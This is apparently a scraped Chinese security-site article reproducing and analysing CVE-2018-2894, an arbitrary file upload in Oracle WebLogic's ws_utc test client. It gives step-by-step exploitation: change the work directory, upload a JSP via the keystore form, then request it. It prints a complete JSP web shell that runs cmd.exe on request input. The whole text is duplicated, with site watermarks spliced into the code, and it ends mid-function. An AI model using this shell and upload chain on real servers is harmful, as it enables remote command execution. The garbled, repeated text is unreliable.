WebLogic任意文件上传漏洞复现与分析 - CVE-2018-2894
CVE-2018-2894
漏洞影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
下载地址:http://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip
漏洞复现
服务启动后,访问 http://localhost:7001/ws_utc/config.do
可以将当前的工作目录为更改为其他目录。以本地环境为例,可以部署到C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war下
选择右边的安全栏目,添加JKS Keystores上传文件。假设chybeta.jsp内容如下:
page import="java.util.*,java.io.*,java.net.*"%>
METHOD="POST" NAME="myform" ACTION="">
TYPE="text" NAME="cmd">
TYPE="submit" VALUE="Send">
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n
");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
抓包获取到时间戳为1531987145013,则上传到的位置即config\keystore\1531987145013_chybeta.jsp
访问http://localhost:7001/ws_utc/config/keystore/1531987145013_chybeta.jsp
简要漏洞分析
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59:
public void changeWorkDir(String path) {
String[] oldPaths = this.getRelatedPaths();
if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
this.isWorkDirChangeable = false;
this.isWorkDirWritable = isDirWritable(path);
this.isWorkDirChangeable = true;
this.setTestClientWorkDir(path);
} else {
this.persistWorkDir(path);
this.init();
}
if (this.isWorkDirWritable) {
String[] newPaths = this.getRelatedPaths();
moveDirs(oldPaths, newPaths);
} else {
Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
}
}
此函数用于改变工作目录,但其中并未做任何检测。
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181中:
@Path("/keystore")
@POST
@Produces({"application/xml", "application/json"})
@Consumes({"multipart/form-data"})
public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {
if (!RequestUtil.isRequstedByAdmin(this.request)) {
return Response.status(Status.FORBIDDEN).build();
} else {
if (TestClientRT.isVerbose()) {
Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
}
String currentTimeValue = "" + (new Date()).getTime();
CVE-2018-2894
漏洞影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
下载地址:http://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip
漏洞复现
服务启动后,访问 http://localhost:7001/ws_utc/config.do
可以将当前的工作目录为更改为其他目录。以本地环境为例,可以部署到C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war下
选择右边的安全栏目,添加JKS Keystores上传文件。假设chybeta.jsp内容如下:
page import="java.util.*,java.io.*,java.net.*"%>
METHOD="POST" NAME="myform" ACTION="">
TYPE="text" NAME="cmd"> copyright 无奈人生
TYPE="submit" VALUE="Send">
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n
");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
} copyright 无奈人生
%>
抓包获取到时间戳为1531987145013,则上传到的位置即config\keystore\1531987145013_chybeta.jsp
访问http://localhost:7001/ws_utc/config/keystore/1531987145013_chybeta.jsp
简要漏洞分析
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59:
public void changeWorkDir(String path) {
String[] oldPaths = this.getRelatedPaths();
if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
this.isWorkDirChangeable = false;
this.isWorkDirWritable = isDirWritable(path);
copyright 无奈人生
this.isWorkDirChangeable = true;
this.setTestClientWorkDir(path);
} else {
this.persistWorkDir(path);
this.init();
}
if (this.isWorkDirWritable) {
String[] newPaths = this.getRelatedPaths();
moveDirs(oldPaths, newPaths);
} else {
Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
}
}
此函数用于改变工作目录,但其中并未做任何检测。
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181中:
@Path("/keystore")
@POST 本文来自无奈人生安全网
@Produces({"application/xml", "application/json"})
@Consumes({"multipart/form-data"})
public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {
if (!RequestUtil.isRequstedByAdmin(this.request)) {
return Response.status(Status.FORBIDDEN).build();
} else {
if (TestClientRT.isVerbose()) {
Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
}
String currentTimeValue = "" + (new Date()).getTime(); copyright 无奈人生
内容来自无奈安全网